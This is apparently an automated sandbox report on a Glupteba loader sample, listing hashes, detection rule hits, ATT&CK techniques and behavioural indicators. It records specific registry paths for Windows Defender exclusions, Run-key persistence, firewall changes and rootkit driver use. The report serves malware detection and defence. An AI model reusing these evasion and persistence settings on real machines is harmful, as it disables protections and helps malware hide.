glupteba | deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31

Analysis

max time kernel
300s
max time network
302s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
08/05/2024, 00:09

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General

Target

deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Size

4.2MB
MD5

8a70cb928b943610a519e43445d89544
SHA1

f0dd3cef5d7f6988e3a068e546ab0e7bc53458dc
SHA256

deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31
SHA512

600f5073e25ad76f534fff10620dfef33b87d0293afa829791c2af18f198a19ec83c78fe93e26ec9883ea12534194d711a3abe803b6ab30cd62195202f019679
SSDEEP

98304:8bkKFGIXmreyu8fcMtpXORVkF7wt352n7MbtxJUz:okDxAsfDmV87wcGtxJw

Score

10^/10

glupteba discovery dropper evasion execution loader persistence rootkit trojan upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 34 IoCs

resource	yara_rule
behavioral2/memory/3188-2-0x0000000003E00000-0x00000000046EB000-memory.dmp	family_glupteba
behavioral2/memory/3188-3-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/3188-301-0x0000000003E00000-0x00000000046EB000-memory.dmp	family_glupteba
behavioral2/memory/3188-299-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/3188-302-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4676-1019-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1737-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1747-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1749-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1751-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1753-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1755-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1757-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1759-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1761-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1763-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1765-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1767-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1769-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1771-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1773-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1775-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1777-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1779-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1781-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1783-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1785-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1787-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1789-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-1791-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-2523-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-2526-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-2531-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/4308-2535-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe = "0"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3196	netsh.exe

Executes dropped EXE 7 IoCs

pid	Process
4308	csrss.exe
708	injector.exe
428	windefender.exe
5056	windefender.exe
3580	dcb505dc2b9d8aac05f4ca0727f5eadb.exe
4688	713674d5e968cbe2102394be0b2bae6f.exe
4168	1bf850b4d9587c1017a75a47680584c4.exe

UPX packed file 18 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000800000001ac67-1740.dat	upx
behavioral2/memory/428-1741-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/5056-1745-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/428-1746-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/5056-1748-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/5056-1752-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/3580-2038-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
behavioral2/files/0x000600000000069b-2039.dat	upx
behavioral2/memory/3580-2043-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
behavioral2/files/0x000500000000069d-2279.dat	upx
behavioral2/memory/4688-2281-0x0000000000AD0000-0x000000000139D000-memory.dmp	upx
behavioral2/files/0x00060000000006ad-2520.dat	upx
behavioral2/memory/4168-2522-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/4688-2525-0x0000000000AD0000-0x000000000139D000-memory.dmp	upx
behavioral2/memory/4168-2527-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/4688-2529-0x0000000000AD0000-0x000000000139D000-memory.dmp	upx
behavioral2/memory/4168-2534-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/4688-2533-0x0000000000AD0000-0x000000000139D000-memory.dmp	upx

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe = "0"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
File created	C:\Windows\rss\csrss.exe	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3408	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4232	powershell.exe
2080	powershell.exe
1384	powershell.exe
2488	powershell.exe
4892	powershell.exe
4352	powershell.exe
3520	powershell.exe
2456	powershell.exe
2632	powershell.exe
1108	powershell.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4304	schtasks.exe
4940	schtasks.exe

GoLang User-Agent 2 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	42	Go-http-client/1.1
HTTP User-Agent header	43	Go-http-client/1.1

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-772 = "Montevideo Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-449 = "Azerbaijan Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-572 = "China Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-371 = "Jerusalem Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1721 = "Libya Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-402 = "Arabic Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-342 = "Egypt Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1912 = "Russia TZ 10 Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-351 = "FLE Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-32 = "Mid-Atlantic Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-631 = "Tokyo Daylight Time"	windefender.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-561 = "SE Asia Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2392 = "Aleutian Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1971 = "Belarus Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-242 = "Samoa Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-732 = "Fiji Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-661 = "Cen. Australia Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-622 = "Korea Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-691 = "Tasmania Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-372 = "Jerusalem Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
3188	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
3188	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
2080	powershell.exe
2080	powershell.exe
2080	powershell.exe
4352	powershell.exe
4352	powershell.exe
4352	powershell.exe
3520	powershell.exe
3520	powershell.exe
3520	powershell.exe
1384	powershell.exe
1384	powershell.exe
1384	powershell.exe
2456	powershell.exe
2456	powershell.exe
2456	powershell.exe
708	injector.exe
708	injector.exe
708	injector.exe
708	injector.exe
708	injector.exe
708	injector.exe
4308	csrss.exe
4308	csrss.exe
708	injector.exe
708	injector.exe
708	injector.exe
708	injector.exe
708	injector.exe
708	injector.exe
4308	csrss.exe
4308	csrss.exe
708	injector.exe
708	injector.exe
708	injector.exe
708	injector.exe
4308	csrss.exe
4308	csrss.exe
708	injector.exe
708	injector.exe
708	injector.exe
708	injector.exe
708	injector.exe
708	injector.exe
708	injector.exe
708	injector.exe
708	injector.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	3188	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Token: SeImpersonatePrivilege	3188	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeDebugPrivilege	2080	powershell.exe
Token: SeDebugPrivilege	4352	powershell.exe
Token: SeDebugPrivilege	3520	powershell.exe
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeDebugPrivilege	2456	powershell.exe
Token: SeSystemEnvironmentPrivilege	4308	csrss.exe
Token: SeSecurityPrivilege	3408	sc.exe
Token: SeSecurityPrivilege	3408	sc.exe
Token: SeDebugPrivilege	2632	powershell.exe
Token: SeDebugPrivilege	1108	powershell.exe
Token: SeDebugPrivilege	2488	powershell.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 3188 wrote to memory of 4892	3188	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe	74
PID 3188 wrote to memory of 4892	3188	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe	74
PID 3188 wrote to memory of 4892	3188	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe	74
PID 4676 wrote to memory of 4232	4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe	79
PID 4676 wrote to memory of 4232	4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe	79
PID 4676 wrote to memory of 4232	4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe	79
PID 4676 wrote to memory of 2520	4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe	81
PID 4676 wrote to memory of 2520	4676	deea2d1d40917e6b8c4e384877c01284fc10efeadbc835487d0044412a856a31.exe	81
PID 2520 wrote to memory of 3196	2520	cmd.exe	83
PID 2520 wrote to memory of 3196	2520	cmd.exe	83
